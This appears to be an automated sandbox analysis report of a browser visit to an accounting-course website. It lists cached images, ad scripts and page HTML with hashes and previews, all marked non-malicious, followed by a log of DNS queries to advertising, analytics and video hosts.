Preview:	GIF89a.......................................................................................................!..NETSCAPE2.0.....!.......,.............DRi.h..l.p,.tm.x..\|...... ...r.l:.P'.@.0....(E .X\zl.X.i.......f..Zu.n...Yrt\|n~.Yz..d..........`w.........^...x..oE..%.............U.....~.................s..e..............s...............jF.....)........l...?...J4..a..'&.h1 D..%r...#..#.0$.0#J.#I.\|y0&.4).dY..I.6;.....L.;y.......P.J...L..X.f.3.kT.`.h.{...U!.%k..T. .jm..jZ.s..}../V.u..-.w/T.b..v+Xqa..7X\|.._.^-..\|...=.....Q.Z....[.c.^.....e.].....w...t.....}\.p..77..8.......{....?W..{....g..D....o`.#......^A}G...~..G.p..H`......}.1................v.`..\.!.....)rx.%.(!...........`..%:...D.X.A.....E..ciJ.4d.;.)V.LR..@.!..:Z.d.Y..%.S.)&.`.x&.ij.&.m..#.m.y_.:.%..).X..@....@.m......#.2......F..x..R..R.Z.j..j.)..........`.....+l..`a..........,..........F{....,..j.-..^.....,...Kl...Z...J./..K..../...K.......{.....\|K/......X 0

Chrome Cache Entry: 992

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 80x45, components 3
Category:	dropped
Size (bytes):	1875
Entropy (8bit):	7.520042634321504
Encrypted:	false
SSDEEP:	48:emoryu3kgNZHDrSBCiZ6lXSxSZFq4+equ:emoGu3hNZaBCiZQCxH4+Fu
MD5:	8DB109FC334A4568C2EF739F67908D3E
SHA1:	2BB21FADDDEC52E36BD62D3469043CEB6304A710
SHA-256:	99E0A4FAD41FE44793D0936C5AF56F918860A934720F866B756E99B4D2BEAB0C
SHA-512:	73FB6C4C48B0181F42760B966F7994AAD32570AFE495213AB3EBFF5705468240C271A19715662F8D8B85D5DD247D6E20073D5E7BA34072C18CCA45D703F86F3D
Malicious:	false
Reputation:	low
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......-.P.."...................................................{\.#..O..Z.......'..L".H.t..<%.m....`}#. c..N.q..W..........................................d=LM......................................16..U........."..............................!2...........5.{.*M."..g_%Aylh..J..!...........Y.AZ.K.fe0.k..c.I..2%....)....!.......@..>.:...o....+......W.f....v.i4...c.,D[._.{...=...]'..DB&K.....,~.y.Q..U.tY..g......am0bB....U.\|.t..54..UI.j.;>jK.b......4}..+DG...;p.=jvt5z'05.lL..zU.%....9.....KO./....-.RHkc8k..Wi.U<....p=i.k..X.5h.(.b.....\|.....].)!..z.JO.}0d...Pu..G..`+5@.P.....9.+{.9.B.v..d...R..).R.5.[?.[SE..S...#3svG....a..../P....`s6".z.@..S'......TD.!..B...2....z.0..@.....4....`.Z~f..V....k?+...e.k_.}.9..&.2.W.....C%.......iY.....:...W............................!.BQ.1A"#.Sq..2Rabc.........?..,j.$.mI.H..

Chrome Cache Entry: 993

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 63, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8173
Entropy (8bit):	7.954720950123101
Encrypted:	false
SSDEEP:	192:PgdAPjyPGFkKZxCjmpCQuWRpjnVmf/FkFKz5GovLgz:IdLEscCQuop7VpYsz
MD5:	999C11977E39ED81499BD61A18074D30
SHA1:	BBE658382A2310C09F974291BE514E8225D8666A
SHA-256:	6C316A2EFDCDE1E5899E797265EF506D20C00C9077D0B42891D9F86A21AEFC11
SHA-512:	117340EC9AEBD2AA5B0403EF551DD6E6133272460EAF559F93D3F1D649E4D28527E26B8C04E5238E02779C120AE8A10A1D35426BF2DD479AB14EF69EF475DC31
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/RBS.png
Preview:	.PNG........IHDR.......?.....@QBS....IDATx..U.VM..U.....n...TP/,,.......D..[..D.VT......X?...........`...3{V.+....(..aJfI.D.0%.8..iJ.p......~..m.o.L..........~..i..w..u.O..u,..C...w.....?~...........^_.~.3..I.&.....?$l..C.........&!...=\|.C^..=B..Qz.....>...>p.a.8....g.Q0.7\....}.....#.Z/PJY.54z.t.q...a..... @.X#..%.....G..r.~.)....h......o.j.\|.....P..k.._.T...[@.3..yc.H........s....Q.h..E..CC......#.TqR(_...;jOl.`p...g3...q<~d..D`. .Lr..b.>...@....[....)....=#...l.f\9Ns..6......0 4...:Q..>,'...w...7o.....}.._..fc_.?....$t.(..... ......O....x..9.D.....s.e/.......Zk"...:1#....A......KQ\.S....l...Q...(..7...{....K...X(o.... ........Y.._O....*9.#.mD....E..m.l...v.Z.p.B.Wt..-[.l..7.v........Om...6..\|[.x.].x.......].d3f.)S..C.....q...$.......v..M....1......kn.}.^.\|..-.Q.+.+..?~.._...q..u.....w....Da..W..~.{...#Gl...6m.4.....<...f...rc.q.h.".......o....>..G....I.N.].v...;w.(.....1.^&b..c...t..Y...M.6...G.......K...'O.K.&.e..&L.....C..}s.

Chrome Cache Entry: 994

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 80, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6410
Entropy (8bit):	7.935618947712464
Encrypted:	false
SSDEEP:	192:oyfB6XLvuvWKt7YbCK1G/d1t55LJRfcActgN2NEVJE8:oKIXzi7G1G/lp9HctguEr
MD5:	32033D0588631B24755810F248BBA84A
SHA1:	A298921960A94FAA0C3A679A4B7BC67BD972A6B6
SHA-256:	489F2ABFDCE0E2D67633CFC6C2D6B79B313494B9D06FDA271536766FDCE3020D
SHA-512:	3F173B8F2FD72ECE4F8AEDA57A3BEE629A396C7A64005B0D1A6719E9D4548FBEB9DBA1DFCC818E527DD685A99294D41DC5BEF69B2CE5B3E00C974F439609C1AD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Deutsche-Bank.png
Preview:	.PNG........IHDR.......P.............IDATx..G..]......9;.s..A.AP. ......Yt!.,F...t'.0..3L.>....r?a.wF........y.n&..T...h......Z]o..L<,..[VVVJuu.4.(++...r.....DAA....* A..k.lUUU....d.p...o....../. #;...........w.^Y.b..[.N6o.,k..M.65h[.~.l.Q.^.........f..?~....S.N.G.......[.v.m....KJJ....3...q..v..E.u...x........a.....4o.\..;...W4y].........C....G..#..1c.....&...i...'.mS.N..'...q..Z4..n.?~.L.4...}C...A..I....S...i.Y...Dnn.,[.L....L..P4.n..........l...m.Q2b...S .....l..........,i../\..vK..S.+..$.......!..-.0.....lCN..y....W......./n.\..q..uk\......d.)l....<..../..:..p.JOOGB..Y...m.En.).n..7n.;wty..=....].\|Y.\.B'...x..99s..._n.-._..w..k.d...e..;r,............]j...r...]..d.....q....^VE.0 .}...o.d...dx..............v...YYY.d...>\|8..../.......-.Q......YRR".HKK.Y.fi.7..C.9}.4.*....FPK...S..O..h....`..xl....k.........W...sy...<y.D.={....7...v..3y......X%..1..p.#......SE....{........39......C..!I...dX<` .`;...uG....s..

Chrome Cache Entry: 995

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.5096195010456768
Encrypted:	false
SSDEEP:	3:pQBHMwH4J0UHcYY4X++HUVwH4xUHcYT444:pQmy4J04cD8HMy4x4cV44
MD5:	21C4A5301F7ED4EBA999D33DA5088B74
SHA1:	19C555893ECFA82AA22CDA033F9AA8F1AC29E9AA
SHA-256:	042666EE3284F7864DD0AC0FDE9F2BC2F67ADFC48B1712D9F38B17D200C7BCE7
SHA-512:	3BB820C0E76CA6D669AF117EC46AAD3903ECDCEF8EB469B816D1DE461D43AA988C15254E1FC4E160276355226205F5892DEF02DA4CBC489DBCD76F7E1DA3B6A4
Malicious:	false
Reputation:	low
Preview:	[null,[[["1030006"],["22952122961"]]],[[["1030006",1],["22952122961",1]]]]

Chrome Cache Entry: 996

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	110765
Entropy (8bit):	6.045515058735267
Encrypted:	false
SSDEEP:	1536:rR3roV1lpuC5xNjbjfylpKOXVgkpzplOxiOfObOhOVOTOLOY4MzD:BQFPfuA5kpze/Wy8w6CY4Mv
MD5:	998BFDEBE0E26768A7136E6E3761BEAF
SHA1:	B9C2C7381F21516E9F889FE0944BBF38BD80B8B0
SHA-256:	F2467BAB2FFB13681060B67E5CA5D2CEF9D38D9D3A51C7D69B66C488CEEDD0AD
SHA-512:	2A8BE3FE33797B846940CA98C028568DE3C686D79539C0950E1066E0E7181AB893F3857084FE1F385125CB7136C49B4FE449F4A692C86FC98BBC72ED25D4A975
Malicious:	false
Reputation:	low
Preview:	{"/1030006/earnandexcel/universal_player":["html",1,null,null,1,1,1,0,0,null,null,null,1,[["ID=9de8118326a9e3f7:T=1712870833:RT=1712870833:S=ALNI_MZ3baCh2xi8ZD7i7W_s72Pa8hJ7Qg",1746566833,"/","earnandexcel.com",1],["UID=00000a1c72351135:T=1712870833:RT=1712870833:S=ALNI_MZqPS9y1P9KiDEv0c-3apX9KVTnrw",1746566833,"/","earnandexcel.com",2]],[138346786267],[5667784462],[5010214980],[2844516132],null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGsmExFeaJqa85q1c9p7uIiI44RVGaR-Whs_5PPDRyv6JIIpPT686aI0ZKjA6PPhiuzvE0RaBMk5MAlPLIN-MFmI","CMCEtYyNu4UDFZiIgwgdbu0MwQ",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qMHl0d3U3CqvHx1z-a8deXv_f_VVqCubHcSp_NBLm4wMkdkpHMPWtJHdZZBy7Umye9V3EYLIaMYKcg",null,null,null,null,null,null,[["ID=a5f59d3b4bbaed83:T=1712870833:RT=1712870833:S=AA-AfjZJfbuF8WqFZlI7fdKhJn-s",1728422833,"/","earnandexcel.com"]],[]]}.<!doctype html><html><head><script>var inDapIF=t

Chrome Cache Entry: 997

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4923), with no line terminators
Category:	downloaded
Size (bytes):	4923
Entropy (8bit):	5.325196019009413
Encrypted:	false
SSDEEP:	96:HiiGd8GpjMcrr1IH1PCKaNMmij4drtAS9GGCSC7LzCSosqYaLasR2MIywvxbp:Ha2E3rJ0RCvNMmHRA2GjxLCxwaLaRMID
MD5:	8E926DE089FD72D7B15DD90213619DA7
SHA1:	E46FA8B161860015A444F2BD6C96E0428D8A3E27
SHA-256:	13A593EDE4CE6CF6F670218324C04F951EF9AD3B7783BB19A8669441BAE71C5F
SHA-512:	CECDD864D4A8BE1BC6CB8A9A560E1578194EE24C115ACA80E88731B8D73ECDE433062D844ED2A12653393B9FCD03AC35B8A32F2FAD039AE1D52B8DECBAE9D8C8
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/9689/88bcfd27464813384083.min.js
Preview:	(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[9689],{8078:e=>{e.exports=function(){!function(e,t,n,i,s,o,a){function r(n,i){t[e]._Q.push([n,i])}t[e]\|\|(t[e]={init:function(){r("i",arguments)},fetchBids:function(){r("f",arguments)},setDisplayBids:function(){},_Q:[]},(o=n.createElement(i)).async=!0,o.src="//c.amazon-adsystem.com/aax2/apstag.js",(a=n.getElementsByTagName(i)[0]).parentNode.insertBefore(o,a))}("apstag",window,document,"script")}},7344:(e,t,n)=>{"use strict";n.d(t,{i:()=>i});var i=(e=>(e[e.GOOD=1]="GOOD",e[e.NO_BID=2]="NO_BID",e))(i\|\|{})},9689:(e,t,n)=>{"use strict";n.r(t),n.d(t,{AMAZON_CODE:()=>y,AmazonBase:()=>C});var i=n(8078),s=n(6921),o=n(2845),a=n(5077),r=n(8622),d=n(7475),c=n(8152),l=n(6091),u=n(7344),p=Object.defineProperty,m=Object.defineProperties,g=Object.getOwnPropertyDescriptors,h=Object.getOwnPropertySymbols,f=Object.prototype.hasOwnProperty,b=Object.prototype.propertyIsEnumerable,v=(e,t,n)=>t in e?p(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}

Chrome Cache Entry: 998

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (33816), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	207681
Entropy (8bit):	5.269309636545535
Encrypted:	false
SSDEEP:	3072:y1G5PX3qhc21Jq+CGJQV7Zl2xBvBauqQftQ/7Zl2xBvBABXXTGQRquFZdvvP9TxN:7kg
MD5:	B8A9596C763448018C111897EC4668DD
SHA1:	3E4A879B3519EF109A2EC2734037D5307578E06C
SHA-256:	B9D24D3BF6477CE49D127240637A0114154FEB1A3FB1D84DEE34B34B6E506ADF
SHA-512:	5D8AE8494C518E94DDE3B40CA4117F59421EFAAAEB761CC87D7CBCA8957662E7A3DFF93ABD582BDF06B2E22CE494C78D2D70367C0BAD9522B779224B10E637B6
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/course-category/accounting/?tutor-course-filter-category=16698
Preview:	<!DOCTYPE html>.<html lang="en-US" >.<head>...<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">......<script type="text/javascript">....window.flatStyles = window.flatStyles \|\| ''.....window.lightspeedOptimizeStylesheet = function () {.....const currentStylesheet = document.querySelector( '.tcb-lightspeed-style:not([data-ls-optimized])' )......if ( currentStylesheet ) {......try {.......if ( currentStylesheet.sheet && currentStylesheet.sheet.cssRules ) {........if ( window.flatStyles ) {.........if ( this.optimizing ) {..........setTimeout( window.lightspeedOptimizeStylesheet.bind( this ), 24 ).........} else {..........this.optimizing = true;...........let rulesIndex = 0;...........while ( rulesIndex < currentStylesheet.sheet.cssRules.length ) {...........const rule = currentStylesheet.sheet.cssRules[ rulesIndex ].........../* remove rules that already exist in the page */...........if ( ru

Chrome Cache Entry: 999

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 400x225, components 3
Category:	dropped
Size (bytes):	20991
Entropy (8bit):	7.972079689621124
Encrypted:	false
SSDEEP:	384:JlifZSIq5cv8RFZcuwwai4zgHAvPTKEMelAdNiP1lHrwAU4EUxiiyeiZ:JliRSIq5c0FZ7qT/vPTyw1JrwAPV2eiZ
MD5:	D3BBA58E485AD2D38DA08E4B9AA5879C
SHA1:	B0761209D238FEBF2AE2B70079DFD20354557700
SHA-256:	CD9F4F56DC66CA0D5B99EB869249D9A539EC6BF11470278DABE94BFEBE453E88
SHA-512:	F0BDA0A5133139F255A77E9A118F21161DBA84CEB53C0F2AB8BC9490ACE2FA1A94E854BD7F42940B5D51B30A1445975B80B019E176DEC11C75A9FDF0C1421AE6
Malicious:	false
Reputation:	low
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}..........."..................................................?.....QX.V.K#..C.......>....N.~,.0y.GX..Y.E......T...C}.yx....Z..M.].g.....nJ.T...W...}..V.... .%ot.%R...,..!...fy..m._.0.C....5.J..........7.I.....M.B.=..b.P..G.z...i~j.4F.j.b.M.B7..B...'S....{9D...<..q.....m.K..YK....<..t..M...D..J...$.[..m.3B.j4....~..nN.....m....y..uW.0.....`}.....kG........b.4.~.F..%.c...d.!...y..p...3.M.*...q^...\I.....4........D.~i..lo/..a....I%+].^.X...@.J\|..9..<....6eGJP.4.w.?.....6... ..S........W..k..:..H..C.]y...iY...-.^ .:.{.o6..r..-X.._T.8...vN5....S.......!#.v.;..dwS.Yxt.wH......p....Z/g.}.Iy.T.o.....D2.}.U.....W....p.X.X...\|..\....Q.....z..F@+.V...'.km.?...;.y.[B.....8..sIv....SB.0.znqpK.&.0...KtF......6.........<.,...tn.....\..%g...\.j.!...%..J...s$...O...~Q...n~.7.=..:A.]].}VQ<}.

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 11, 2024 23:26:34.566987991 CEST	192.168.2.17	1.1.1.1	0x8650	Standard query (0)	earnandexcel.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:34.567154884 CEST	192.168.2.17	1.1.1.1	0x3f54	Standard query (0)	earnandexcel.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:34.611491919 CEST	192.168.2.17	1.1.1.1	0x2dbe	Standard query (0)	earnandexcel.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:34.611591101 CEST	192.168.2.17	1.1.1.1	0xdd0f	Standard query (0)	earnandexcel.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:35.365946054 CEST	192.168.2.17	1.1.1.1	0x722b	Standard query (0)	scripts.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:35.366082907 CEST	192.168.2.17	1.1.1.1	0xb3b5	Standard query (0)	scripts.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:39.070458889 CEST	192.168.2.17	1.1.1.1	0xf4ed	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:39.070652962 CEST	192.168.2.17	1.1.1.1	0xde2e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:39.450710058 CEST	192.168.2.17	1.1.1.1	0xa02b	Standard query (0)	player.vimeo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:39.450995922 CEST	192.168.2.17	1.1.1.1	0xa49a	Standard query (0)	player.vimeo.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:39.969458103 CEST	192.168.2.17	1.1.1.1	0x2ac3	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:39.969578981 CEST	192.168.2.17	1.1.1.1	0x75c1	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:39.995882034 CEST	192.168.2.17	1.1.1.1	0x9aa2	Standard query (0)	earnandexcel.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:39.996006966 CEST	192.168.2.17	1.1.1.1	0x924b	Standard query (0)	earnandexcel.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:40.072680950 CEST	192.168.2.17	1.1.1.1	0x2210	Standard query (0)	fresnel.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.072949886 CEST	192.168.2.17	1.1.1.1	0xf98d	Standard query (0)	fresnel.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:40.073297977 CEST	192.168.2.17	1.1.1.1	0x4c24	Standard query (0)	i.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.073474884 CEST	192.168.2.17	1.1.1.1	0xb0b4	Standard query (0)	i.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:40.074736118 CEST	192.168.2.17	1.1.1.1	0xfcc8	Standard query (0)	f.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.074889898 CEST	192.168.2.17	1.1.1.1	0xa66	Standard query (0)	f.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:40.313621044 CEST	192.168.2.17	1.1.1.1	0x66e9	Standard query (0)	scripts.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.313785076 CEST	192.168.2.17	1.1.1.1	0x5e05	Standard query (0)	scripts.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:40.546756983 CEST	192.168.2.17	1.1.1.1	0x996b	Standard query (0)	i.vimeocdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:40.546891928 CEST	192.168.2.17	1.1.1.1	0xdde2	Standard query (0)	i.vimeocdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:41.288146019 CEST	192.168.2.17	1.1.1.1	0x17a7	Standard query (0)	vimeo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:41.288414001 CEST	192.168.2.17	1.1.1.1	0x5bae	Standard query (0)	vimeo.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:42.034729004 CEST	192.168.2.17	1.1.1.1	0xce12	Standard query (0)	player.vimeo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:42.034917116 CEST	192.168.2.17	1.1.1.1	0x9cd6	Standard query (0)	player.vimeo.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:43.054886103 CEST	192.168.2.17	1.1.1.1	0xa859	Standard query (0)	static.hotjar.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.055006027 CEST	192.168.2.17	1.1.1.1	0xd12f	Standard query (0)	static.hotjar.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:43.370620966 CEST	192.168.2.17	1.1.1.1	0x3ece	Standard query (0)	nitroscripts.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.370733023 CEST	192.168.2.17	1.1.1.1	0x49d5	Standard query (0)	nitroscripts.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:43.973649979 CEST	192.168.2.17	1.1.1.1	0x36c1	Standard query (0)	welcome.visionaryyouth.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:43.973797083 CEST	192.168.2.17	1.1.1.1	0x4bac	Standard query (0)	welcome.visionaryyouth.org	65	IN (0x0001)	false
Apr 11, 2024 23:26:44.631267071 CEST	192.168.2.17	1.1.1.1	0xaddd	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:44.631685972 CEST	192.168.2.17	1.1.1.1	0xd1e3	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:45.120805979 CEST	192.168.2.17	1.1.1.1	0x66a4	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:45.120805979 CEST	192.168.2.17	1.1.1.1	0xfd5a	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.805969954 CEST	192.168.2.17	1.1.1.1	0x6e85	Standard query (0)	exchange.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:45.806128025 CEST	192.168.2.17	1.1.1.1	0xcdc0	Standard query (0)	exchange.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:46.425019026 CEST	192.168.2.17	1.1.1.1	0x6cc2	Standard query (0)	keywords.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:46.425179005 CEST	192.168.2.17	1.1.1.1	0xedbe	Standard query (0)	keywords.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:48.786957026 CEST	192.168.2.17	1.1.1.1	0x7250	Standard query (0)	sc-static.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:48.787090063 CEST	192.168.2.17	1.1.1.1	0x4162	Standard query (0)	sc-static.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:49.327579975 CEST	192.168.2.17	1.1.1.1	0x6046	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:49.327758074 CEST	192.168.2.17	1.1.1.1	0x9a9d	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:49.348861933 CEST	192.168.2.17	1.1.1.1	0x8270	Standard query (0)	tr.snapchat.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:49.349286079 CEST	192.168.2.17	1.1.1.1	0x9363	Standard query (0)	tr.snapchat.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:49.648085117 CEST	192.168.2.17	1.1.1.1	0xb9e0	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:49.648241997 CEST	192.168.2.17	1.1.1.1	0xf86c	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:49.951493025 CEST	192.168.2.17	1.1.1.1	0x9b86	Standard query (0)	sc-static.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:49.951612949 CEST	192.168.2.17	1.1.1.1	0x513a	Standard query (0)	sc-static.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:50.101603031 CEST	192.168.2.17	1.1.1.1	0x4609	Standard query (0)	s.pinimg.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.101747036 CEST	192.168.2.17	1.1.1.1	0xbb71	Standard query (0)	s.pinimg.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:50.414570093 CEST	192.168.2.17	1.1.1.1	0x278f	Standard query (0)	widget.wickedreports.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.414729118 CEST	192.168.2.17	1.1.1.1	0x37a7	Standard query (0)	widget.wickedreports.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:50.548867941 CEST	192.168.2.17	1.1.1.1	0xc8d	Standard query (0)	analytics.tiktok.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.549105883 CEST	192.168.2.17	1.1.1.1	0x95e5	Standard query (0)	analytics.tiktok.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:50.553499937 CEST	192.168.2.17	1.1.1.1	0xf236	Standard query (0)	script.hotjar.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.553787947 CEST	192.168.2.17	1.1.1.1	0xe72e	Standard query (0)	script.hotjar.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:50.604521036 CEST	192.168.2.17	1.1.1.1	0x172f	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.604836941 CEST	192.168.2.17	1.1.1.1	0xb6e	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:50.609977961 CEST	192.168.2.17	1.1.1.1	0xa2c8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.610335112 CEST	192.168.2.17	1.1.1.1	0x157	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:50.744971037 CEST	192.168.2.17	1.1.1.1	0xe864	Standard query (0)	tr.snapchat.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:50.745096922 CEST	192.168.2.17	1.1.1.1	0x5f8e	Standard query (0)	tr.snapchat.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.013129950 CEST	192.168.2.17	1.1.1.1	0xccfc	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.013279915 CEST	192.168.2.17	1.1.1.1	0xb45b	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.114712000 CEST	192.168.2.17	1.1.1.1	0xa072	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.114872932 CEST	192.168.2.17	1.1.1.1	0xa003	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.240816116 CEST	192.168.2.17	1.1.1.1	0x4dd5	Standard query (0)	faves.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.241185904 CEST	192.168.2.17	1.1.1.1	0x6ea4	Standard query (0)	faves.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.243478060 CEST	192.168.2.17	1.1.1.1	0x6075	Standard query (0)	tr.snapchat.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.243680954 CEST	192.168.2.17	1.1.1.1	0x8627	Standard query (0)	tr.snapchat.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.326736927 CEST	192.168.2.17	1.1.1.1	0x1b61	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.326945066 CEST	192.168.2.17	1.1.1.1	0x7656	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.373584986 CEST	192.168.2.17	1.1.1.1	0x58b4	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.373735905 CEST	192.168.2.17	1.1.1.1	0x8d6c	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.482388973 CEST	192.168.2.17	1.1.1.1	0x1626	Standard query (0)	track.wickedreports.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.482544899 CEST	192.168.2.17	1.1.1.1	0x4a4a	Standard query (0)	track.wickedreports.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.697372913 CEST	192.168.2.17	1.1.1.1	0xe6ad	Standard query (0)	api.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.697550058 CEST	192.168.2.17	1.1.1.1	0x6d7b	Standard query (0)	api.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.827156067 CEST	192.168.2.17	1.1.1.1	0xc202	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.827545881 CEST	192.168.2.17	1.1.1.1	0x699d	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:51.972147942 CEST	192.168.2.17	1.1.1.1	0xfb42	Standard query (0)	track.wickedreports.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:51.972390890 CEST	192.168.2.17	1.1.1.1	0x53a5	Standard query (0)	track.wickedreports.com	65	IN (0x0001)	false
